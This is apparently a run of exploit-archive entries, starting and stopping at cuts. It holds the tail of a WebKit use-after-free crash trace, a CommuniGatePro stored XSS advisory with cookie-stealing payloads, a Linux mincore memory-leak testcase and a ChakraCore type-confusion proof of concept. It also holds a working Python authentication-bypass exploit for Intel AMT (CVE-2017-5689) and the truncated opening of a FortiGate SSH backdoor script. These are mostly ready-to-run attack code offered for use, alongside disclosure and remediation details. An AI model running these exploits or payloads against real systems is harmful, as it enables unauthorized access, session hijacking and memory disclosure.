    #75 0x7fffa1fae2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #76 0x10937e56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #77 0x7fffa1d56234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x611000089218 is located 24 bytes inside of 232-byte region [0x611000089200,0x6110000892e8)
freed by thread T0 here:
    #0 0x10cf97294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11d427650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x110ea1017 in WebCore::RenderElement::destroyLeftoverChildren() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2650017)
    #3 0x110dc9db5 in WebCore::RenderBlockFlow::willBeDestroyed() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578db5)
    #4 0x111023fdf in WebCore::RenderObject::destroy() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27d2fdf)
    #5 0x111185d9f in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType)::$_2::operator()(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2934d9f)
    #6 0x1111847ec in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29337ec)
    #7 0x111183c28 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932c28)
    #8 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #9 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #10 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #11 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #12 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #13 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #14 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #15 0x10ec0e887 in WebCore::CompositeEditCommand::splitTreeToNode(WebCore::Node&, WebCore::Node&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd887)
    #16 0x10f811a53 in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0a53)
    #17 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #18 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #19 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #20 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #21 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #22 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #23 0x10fbf7593 in WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13a6593)
    #24 0x10fbdf068 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138e068)
    #25 0x5be2c2a01027  (<unknown module>)
    #26 0x11cd5fdd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #27 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #28 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #29 0x11cd58f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)

previously allocated by thread T0 here:
    #0 0x10cf96d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffa1ed8281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11d427ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11d425d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11d3ac247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11d3ab63a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x10ea577b8 in WebCore::RenderObject::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2067b8)
    #7 0x11100cec5 in WebCore::RenderMultiColumnSpannerPlaceholder::createAnonymous(WebCore::RenderMultiColumnFlowThread*, WebCore::RenderBox&, WebCore::RenderStyle const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27bbec5)
    #8 0x110ffac8e in WebCore::RenderMultiColumnFlowThread::processPossibleSpannerDescendant(WebCore::RenderObject*&, WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a9c8e)
    #9 0x110ffb59e in WebCore::RenderMultiColumnFlowThread::flowThreadDescendantInserted(WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa59e)
    #10 0x110dc9aed in WebCore::RenderBlockFlow::insertedIntoTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578aed)
    #11 0x110ea0ab6 in WebCore::RenderElement::insertChildInternal(WebCore::RenderObject*, WebCore::RenderObject*, WebCore::RenderElement::NotifyChildrenType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264fab6)
    #12 0x110ea06f6 in WebCore::RenderElement::addChild(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264f6f6)
    #13 0x111184c69 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2933c69)
    #14 0x111183dab in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932dab)
    #15 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #16 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #17 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #18 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #19 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #20 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #21 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #22 0x10ec0e887 in WebCore::CompositeEditCommand::splitTreeToNode(WebCore::Node&, WebCore::Node&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd887)
    #23 0x10f811a53 in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0a53)
    #24 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #25 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #26 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #27 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #28 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #29 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x53eaa) in WebCore::RenderObject::previousSibling() const
Shadow bytes around the buggy address:
  0x1c22000111f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c2200011200: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x1c2200011210: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c2200011220: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011230: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
=>0x1c2200011240: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011250: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
  0x1c2200011260: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c2200011270: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011280: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x1c2200011290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==732==ABORTING
-->
            
# Exploit Title: CommuniGatePro webmails Multiple Stored XSS 
# Date: 15/11/2017
# Exploit Author: Boumediene KADDOUR 
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.stalker.com/
# Software Link: http://www.stalker.com/ (paid product)
# Version: 6.1.16< 
# Tested on: production server on crystal, pronto and pronto4 webmails from gmail and hotmail.

CommuniGatePro 6.1.16 webmails (crystal, pronto and pronto4) suffer from multiple stored XSS vulnerabilities. The bellow details illustrate the impact of this vulnerability.

Vulnerability Description:

XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user supplied data using a browser API that can create JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Vulnerability details (Stored XSS):

This vulnerability allowed us to gain access to the following:

    Control the victim's mailbox by just reading my email

    Control the victim's computer in case the person uses Internet Explorer 8 which is widely used in our company.

    Send emails on behalf the victim

    Deface the whole victim mailbox

    Invoke the malicious piece of code each time an attachment's sent to the victim.

Vulnerable sections:

    Calendar

    Files

    Tasks

    Notes

    Inbox


Attack Narratives and Scenarios:

1. Calendar:

Source webmail: tested with gmail and hotmail

Destination webmail: Crystal

In order to deliver our PoC, we have taken the advantages of google calendar to achieve our goal.


PoC:

POST /calendar/event HTTP/1.1

Host: calendar.google.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://calendar.google.com/calendar/render?tab=mc

X-If-No-Redirect: 1

X-Is-Xhr-Request: 1

Content-Type: application/x-www-form-urlencoded;charset=utf-8

Content-Length: 634

Cookie: Mycookie

Connection: close

sf=true&output=js&action=CREATE&useproto=true&add=boumediene.k%40victim.dz%2Csnbemail%40gmail.com&crm=BUSY&icc=DEFAULT&sprop=goo.allowModify%3Afalse&sprop=goo.allowInvitesOther%3Atrue&sprop=goo.showInvitees%3Atrue&pprop=eventColor%3Anone&eid=762dgnlok9l44rd63im4kisjnd&eref=762dgnlok9l33rd55im4kisjnd&cts=1511425384353&text=%22%3E%3Cimg%20src%3DX%20onerror%3Dalert(document.cookie)%3E&location=Stored%20XSS&details=Stored%20XSS&src=snbemail%40gmail.com&dates=20171123T093000%2F20171123T103000&unbounded=false&gdoc-attachment&scfdata=W1tdXQ..&stz&etz&scp=ONE&nopts=2&nopts=3&nopts=4&hl=en_GB&secid=6VLs1BGsgBB_Tqz6egnXpCYYF24


Once the victim receives the invitation, he/she will not be obliged to click on any link or download any file. The only condition for this PoC to work is a single click to read the email. Once the victim reads the email, the code gets executed on the victim's browser ending up sending sensitive data to the adversary.

2. Files:

Source webmail: pronto/pronto4/Crystal

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Go to file section.

    Create a directory

    Name the directory with any JavaScript code, in our case  (<img src=X onerror=alert(document.cookie)>)

    Share or grant access to victim to be able to at least read the content of the directory

    The victim then recieves the email of granting access to that directory

    The vitim reads the email and then accesses the directory ending up executing the code within its scope of work

3. Notes:

Source webmail: Crystal

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create a note

    Put the JavaScript code within it

    Share it with the victim

4. Tasks:

Source webmail: pronto/pronto4

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create a task

    Put the JavaScript code within the task name

    publish it

5. Inbox

Source webmail: pronto/pronto4

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create an html file with malicious JavaScript piece of code

    Make use of Pronto to send the email to the victim

    The victim reads the email using Crystal webmail and the code gets executed.

Remediation:

Sanitize, escape and validate user supplied data accordingly

Vulnerability Disclosure Timeline:
==================================
23 Nov, 17 5:36:09 PM: Vendor Notification
23 Nov, 17 6:56:33 PM: Vendor Response/Feedback
24 Nov, 17 : Vendor released new  patched version 6.2.1 and included fixes on version 6.1.19 as a separate Crystal skin package (to be installed as cluster/server-wide custom skin)
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1431

I found the following bug with an AFL-based fuzzer:

When __walk_page_range() is used on a VM_HUGETLB VMA, callbacks from the mm_walk structure are only invoked for present pages. However, do_mincore() assumes that it will always get callbacks for all pages in the range passed to walk_page_range(), and when this assumption is violated, sys_mincore() copies uninitialized memory from the page allocator to userspace.

This bug can be reproduced with the following testcase:

$ cat mincore_test.c
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

unsigned char mcbuf[0x1000];

int main(void) {
  if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
    err(1, "mmap");

  for (int i=0; i<10000; i++) {
    if (mincore((void*)0x86000000, 0x1000000, mcbuf))
      perror("mincore");
    write(1, mcbuf, 0x1000);
  }
}

/*
$ gcc -o mincore_test mincore_test.c -Wall
$ ./mincore_test | hexdump -C | head
00000000  00 00 00 00 00 00 00 00  00 00 00 00 fe 01 00 00  |................|
00000010  80 49 3d 20 c6 e9 ff ff  c0 49 3d 20 c6 e9 ff ff  |.I= .....I= ....|
00000020  00 08 3c 20 c6 e9 ff ff  40 08 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000030  80 08 3c 20 c6 e9 ff ff  c0 08 3c 20 c6 e9 ff ff  |..< ......< ....|
00000040  00 09 3c 20 c6 e9 ff ff  40 09 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000050  80 09 3c 20 c6 e9 ff ff  c0 09 3c 20 c6 e9 ff ff  |..< ......< ....|
00000060  00 06 3c 20 c6 e9 ff ff  40 06 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000070  80 06 3c 20 c6 e9 ff ff  c0 06 3c 20 c6 e9 ff ff  |..< ......< ....|
00000080  00 07 3c 20 c6 e9 ff ff  40 07 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000090  80 07 3c 20 c6 e9 ff ff  80 78 84 0b c6 e9 ff ff  |..< .....x......|

fixed at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=373c4557d2aa362702c4c2d41288fb1e54990b7c

The fix has landed in the following upstream stable releases:
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.14.2
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.13.16
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.65
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.4.101

*/
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1367

In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.

function f(x) {
    print(x);

    {
        function x() {

        }
    }

    print(x);
}

The following code in "PreVisitFunction" is used to decide how to optimize arguments.
    bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());

"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.

function f(x) {
    x = 1;
}


PoC:
*/

function f(x) {
    arguments;

    {
        function x() {
        }
    }
}

for (let i = 0; i < 10000; i++)
    f();
            
#!/usr/bin/python
# -*- coding: utf-8 -*-

# Author: Nixawk

#   CVE-2017-5689 = {
#       dork="Server: Intel(R) Active Management Technology" port:"16992",
#       ports=[
#           623,
#           664,
#           16992,
#           16993,
#           16994,
#           16995
#       ]
#       products=[
#           Active Management Technology (AMT),
#           Intel Standard Manageability (ISM),
#           Intel Small Business Technology (SBT)
#       ]
#       version=[
#           6.x,
#           7.x,
#           8.x,
#           9.x,
#           10.x,
#           11.0,
#           11.5,
#           11.6
#       ]

import functools
import requests
import logging
import uuid


logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger(__file__)

TIMEOUT = 8


def handle_exception(func):
    functools.wraps(func)
    def wrapper(*args, **kwds):
        try:
            return func(*args, **kwds)
        except Exception as err:
            log.error(err)
            return False
    return wrapper


def intel_vulnerable_product(server):
    status = False
    products = [
        'Intel(R) Active Management Technology',
        'Intel(R) Standard Manageability',
        'Intel(R) Small Business Technology',
        'AMT'
    ]

    results = map(lambda x: x in server, products)
    status = True if (True in results) else False
    return status


@handle_exception
def exploit_web_interface(host, port):
    status = False

    url = "http://{host}:{port}/index.htm".format(host=host, port=port)
    headers = {"User-Agent": "Mozilla/5.0"}
    httprsp = requests.get(url, headers=headers, timeout=TIMEOUT)

    if not intel_vulnerable_product(httprsp.headers['Server']): return status

    """
    GET /index.htm HTTP/1.1
    Host: 192.168.1.100:16992
    Connection: keep-alive
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: Mozilla/5.0

    HTTP/1.1 401 Unauthorized
    WWW-Authenticate: Digest realm="Digest:7BA70000000000000000000000000000", nonce="/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7",stale="false",qop="auth"
    Content-Type: text/html
    Server: Intel(R) Active Management Technology 8.1.40
    Content-Length: 689
    Connection: close
    """

    www_authenticate = httprsp.headers.get('WWW-Authenticate')
    www_authenticate = www_authenticate.replace(
        'stale="false"',
        'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c'
    )
    headers.update({"Authorization": www_authenticate})

    httprsp = requests.get(url, headers=headers, timeout=TIMEOUT)

    if not httprsp: return status
    if not httprsp.headers: return status
    if not intel_vulnerable_product(httprsp.headers['Server']): return status
    if httprsp.status_code == 200: status = True

    """
    GET /index.htm HTTP/1.1
    Host: 192.168.1.100:16992
    Connection: keep-alive
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.13.0
    Authorization: Digest realm="Digest:7BA70000000000000000000000000000", nonce="/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7",username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c,qop="auth"

    HTTP/1.1 200 OK
    Date: Sat, 6 May 2017 03:24:33 GMT
    Server: Intel(R) Active Management Technology 8.1.40
    Content-Type: text/html
    Transfer-Encoding: chunked
    Cache-Control: no cache
    Expires: Thu, 26 Oct 1995 00:00:00 GMT

    04A9
    """
    return status


@handle_exception
def exploit_wsman(host, port):
    status = False

    url = "http://{host}:{port}/wsman".format(host=host, port=port)
    soap = (
        '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tns="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wscat="http://schemas.xmlsoap.org/ws/2005/06/wsmancat" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:wse="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration">'
        '  <soap:Header>'
        '    <wsa:To>{url}</wsa:To>'
        '    <wsa:ReplyTo>'
        '      <wsa:Address soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:Address>'
        '    </wsa:ReplyTo>'
        '    <wsa:Action soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</wsa:Action>'
        '    <wsman:MaxEnvelopeSize soap:mustUnderstand="true">51200</wsman:MaxEnvelopeSize>'
        '    <wsa:MessageID>uuid:{uuid}</wsa:MessageID>'
        '    <wsman:ResourceURI soap:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity</wsman:ResourceURI>'
        '    <wsman:SelectorSet>'
        '      <wsman:Selector Name="InstanceID">AMT FW Core Version</wsman:Selector>'
        '    </wsman:SelectorSet>'
        '    <wsman:OperationTimeout>PT60.000S</wsman:OperationTimeout>'
        '  </soap:Header>'
        '  <soap:Body />'
        '</soap:Envelope>'
    ).format(url=url, uuid=str(uuid.uuid4()))

    headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/soap+xml; charset=UTF-8"}
    httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT)

    if not intel_vulnerable_product(httprsp.headers['Server']): return status
    www_authenticate = httprsp.headers.get('WWW-Authenticate')
    www_authenticate = www_authenticate.replace(
        'stale="false"',
        'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c'
    )
    headers.update({"Authorization": www_authenticate})

    httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT)

    if not httprsp: return status
    if not httprsp.headers: return status
    if not intel_vulnerable_product(httprsp.headers['Server']): return status
    if httprsp.status_code == 200: status = True
    return status


if __name__ == "__main__":
    import sys
    if len(sys.argv) != 3:
        log.info("[+] Usage: python {} <host> <port>".format(sys.argv[0]))
        sys.exit(1)

    host, port = sys.argv[1], sys.argv[2]
    if exploit_web_interface(host, port) or exploit_wsman(host, port):
        log.info("[success] CVE-2017-5689 - {host}:{port}".format(host=host, port=port))
    else:
        log.info("[failed]  CVE-2017-5689 - {host}:{port}".format(host=host, port=port))

## References

# http://thehackernews.com/2017/05/intel-amt-vulnerability.html
# https://www.ssh.com/vulnerability/intel-amt/
# https://www.shodan.io/report/mnAozbpC
# https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf
# https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
            
#!/usr/bin/env python

# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>

import socket
import select
import sys
import paramiko
